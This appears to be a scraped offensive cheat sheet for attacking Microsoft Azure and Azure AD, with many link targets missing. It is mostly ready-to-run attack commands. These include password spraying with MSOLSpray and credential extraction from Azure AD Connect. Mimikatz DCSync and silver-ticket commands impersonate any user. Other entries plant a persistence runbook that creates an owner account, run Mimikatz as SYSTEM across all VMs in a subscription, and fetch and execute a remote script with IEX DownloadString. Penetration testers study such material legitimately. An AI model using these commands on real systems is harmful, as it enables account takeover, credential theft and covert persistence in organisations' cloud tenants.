Skip to content

Table of Contents generated with DocToc




⚠️ 16 apr 2019 : BloodHound does not support any analysis with AzureAD.
⚠️ Tokens for Azure are cached in C:\Users\[Name]\.Azure\accessTokens.json

  • PowerZure -
    require az module !
    $ git clone
    $ ipmo .\PowerZure
    $ Set-Subscription -Id [idgoeshere]
    # Reader
    $ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
    # Contributor
    $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
    $ Execute-MSBuild -VM Win10Test  -ResourceGroup Test-RG -File "build.xml"
    $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
    $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
    # Owner
    $ Set-Role -Role Contributor -User -Resource Win10VMTest
    # Administrator
    $ Create-Backdoor, Execute-Backdoor
  • Azure CLI - Default azure CLI
    $ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
    $ curl -L | sudo apt-key add -
    $ sudo apt-get install apt-transport-https
    $ sudo apt-get update && sudo apt-get install azure-cli
    # dump users
    $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
  • MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
    $ git clone
    PS C:> Import-Module .\MicroBurst.psm1
    PS C:> Import-Module .\Get-AzureDomainInfo.ps1
    PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
  • SkyArk - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
    Require: - Read-Only permissions over Azure Directory (Tenant) - Read-Only permissions over Subscription - Require AZ and AzureAD module or administrator right
    $ git clone
    $ powershell -ExecutionPolicy Bypass -NoProfile
    PS C> Import-Module .\SkyArk.ps1 -force
    PS C> Start-AzureStealth
    or in the Cloud Console
    PS C> IEX (New-Object Net.WebClient).DownloadString('')  
    PS C> Scan-AzureAdmins  
  • Azurite Explorer and Azurite Visualizer : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
    git clone
    git clone
    git submodule init
    git submodule update
    PS> Import-Module AzureRM
    PS> Import-Module AzuriteExplorer.ps1
    PS> Review-AzureRmSubscription
    PS> Review-CustomAzureRmSubscription
  • Azucar : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.

    # You should use an account with at least read-permission on the assets you want to access
    git clone
    PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
    PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
    PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
    PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
    # resolve the TenantID for an specific username
    PS> .\Azucar.ps1 -ResolveTenantUserName

Azure Architecture

Azure Architecture

Azure Storage Account - Access

  • Blobs – *
    $ AzCopy /Source: /Dest:C:\myfolder /SourceKey:key /S
  • File Services – *
  • Data Tables – *
  • Queues – * z
    S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123]
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Found Storage Account -
    Bing Found Storage Account -
    Found Container -

Azure AD vs Active Directory

Active Directory Azure AD
NTLM/Kerberos OAuth/SAML/OpenID
Structured directory (OU tree) Flat structure
Super fine-tuned access controls Predefined roles
Domain/forest Tenant
Trusts Guests
  • Password Hash Syncronization (PHS) * Passwords from on-premise AD are sent to the cloud * Use replication via a service account created by AD Connect
  • Pass Through Authentication (PTA) * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
  • Connect Windows Server AD to Azure AD using Federation Server (ADFS) * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password

Azure AD - Enumeration

By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph.

Check if the compagny is using Azure AD with

$ git clone
$ pip install roadrecon
$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
$ roadrecon dump
$ roadrecon gui

Can be used in BloodHound using the fork :

PS C:\> git clone
PS C:\> Install-Module -Name AzureAD
PS C:\> .\AzureADRecon.ps1


PS C:\> $username = "username@fqdn"
PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd)
PS C:\> .\AzureADRecon.ps1 -Credential $creds

PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report-<timestamp>

Stormspotter, graphing Azure and Azure Active Directory objects

$ docker run --name stormspotter -p7474:7474 -p7687:7687 -d --env NEO4J_AUTH=neo4j/[password] neo4j:3.5.18
git clone
cd Stormspotter
pipenv install .
stormspotter --cli
stormdash -dbu <neo4j-user> -dbp <neo4j-pass>
Browse to to interact with the graph.

Other interesting commands to enumerate Azure AD.

# Azure AD powershell module

# MSOnline powershell module
Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl

#Connect to Azure AD using Powershell
install-module azuread
import-module azuread
get-module azuread

# Get list of users with role global admins# Note that role =! group
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId

# Get all groups and an example using filter
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"

# Get Azure AD policy

# Get Azure AD roles with some examples
Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}

# Get Azure AD SPNs

# Log in using Azure CLI (this is not powershell)
az login --allow-no-subscriptions

# Get member list using Azure CLI
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'

# Get user list
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn=''

#PS script to get array of users / roles
$roleUsers = @() 

ForEach($role in $roles) {
  $users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
  ForEach($user in $users) {
    write-host $role.DisplayName,$user.DisplayName
    $obj = New-Object PSCustomObject
    $obj | Add-Member -type NoteProperty -name RoleName -value ""
    $obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
    $obj | Add-Member -type NoteProperty -name IsAdSynced -value false
    $obj.IsAdSynced=$user.DirSyncEnabled -eq $true

### Enumeration using Microburst
git clone
Import-Module .\MicroBurst.psm1

# Anonymous enumeration
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -base company -verbose

# Authencticated enumeration
Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo

With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

  1. Authenticate to your webmail portal (i.e.
  2. Change your browser URL to:
  3. Pick the account from the active sessions
  4. Select Azure Active Directory and enjoy!

Azure AD - Password Spray

Default lockout policy of 10 failed attempts, locking out an account for 60 seconds

git clone
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

# UserList  - UserList file filled with usernames one-per-line in the format ""
# Password  - A single password that will be used to perform the password spray.
# OutFile   - A file to output valid results to.
# Force     - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL       - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

Azure AD - Convert GUID to SID

The user's AAD id is translated to SID by concatenating "S-1–12–1-" to the decimal representation of each section of the AAD Id.

GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1121-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]

For example, the representation of 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82 is S-1–12–1–1789435595–1301421967–3702525313–2188119011

Azure AD - Sign in with a service principal

⚠️ Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.

  • Password based authentication

    # Use the service principal ID for the username
    $pscredential = Get-Credential
    Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId
    * Certificate based authentication

    Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint <thumbprint>

Azure AD Connect - Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

Tool Requires code execution on target DLL dependencies Requires MSSQL locally Requires python locally
ADSyncDecrypt Yes Yes No No
ADSyncGather Yes No No Yes
ADSyncQuery No (network RPC calls only) No Yes Yes
git clone
# DCSync with AD Sync account

Azure AD Connect - MSOL Account's password and DCSync

You can perform DCSync attack using the MSOL account.

Prerequisite: * Compromise a server with Azure AD Connect service * Access to ADSyncAdmins or local Administrators groups

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account: * azuread_decrypt_msol.ps1: AD Connect Sync Credential Extract POC * azuread_decrypt_msol_v2.ps1: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

Azure AD Connect - Seamless Single Sign On Silver Ticket

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

⚠️ The password of the AZUREADSSOACC account never changes.

Using to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

  1. NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd.
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
  2. AAD logon name of the user we want to impersonate, e.g. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
  3. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.
  4. Create the Silver Ticket and inject it into Kerberos cache:
    mimikatz.exe "kerberos::golden /user:elrond
    /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
    /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
    / /service:HTTP /ptt" exit
  5. Launch Mozilla Firefox
  6. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value,
  7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

Azure AD - ADFS Federation Server ~Cloud Kerberos

Discover Federation Servers * adfs * auth * fs * okta * ping * sso * sts

OWA Version Discovery :

Azure AD - Persistence via Automation accounts

  • Create a new Automation Account * "Create Azure Run As account": Yes
  • Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* * Sample runbook for this Blog located here – * Publish the runbook * Add a webhook to the runbook
  • Add the AzureAD module to the Automation account * Update the Azure Automation Modules
  • Assign "User Administrator" and "Subscription Owner" rights to the automation account
  • Eventually lose your access…
  • Trigger the webhook with a post request to create the new user
    $uri = "[REDACTED]%3d"
    $AccountInfo  = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}})
    $body = ConvertTo-Json -InputObject $AccountInfo
    $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Azure VM - Execute command as NT SYSTEM with Contributor right

Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name

ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

Against the whole subscription using MicroBurst.ps1

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Office365 - Enumerating Users

NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.